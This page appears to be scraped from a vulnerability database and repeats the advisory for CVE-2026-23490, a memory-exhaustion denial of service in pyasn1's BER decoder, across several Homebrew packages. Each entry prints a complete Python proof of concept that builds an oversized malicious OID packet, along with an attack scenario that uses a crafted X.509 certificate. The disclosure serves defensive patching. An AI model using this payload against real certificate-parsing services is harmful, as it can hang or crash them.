          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-PARSEDMARC-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:25 – Updated: 2026-10-31 20:10 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "parsedmarc",
            "purl": "pkg:brew/parsedmarc"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "8.15.0"
                },
                {
                  "fixed": "9.0.9_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-parsedmarc-CVE-2026-23490",
      "modified": "2026-10-31T20:10:04Z",
      "published": "2026-08-13T17:25:33Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-PROWLER-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:29 – Updated: 2026-10-31 09:40 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
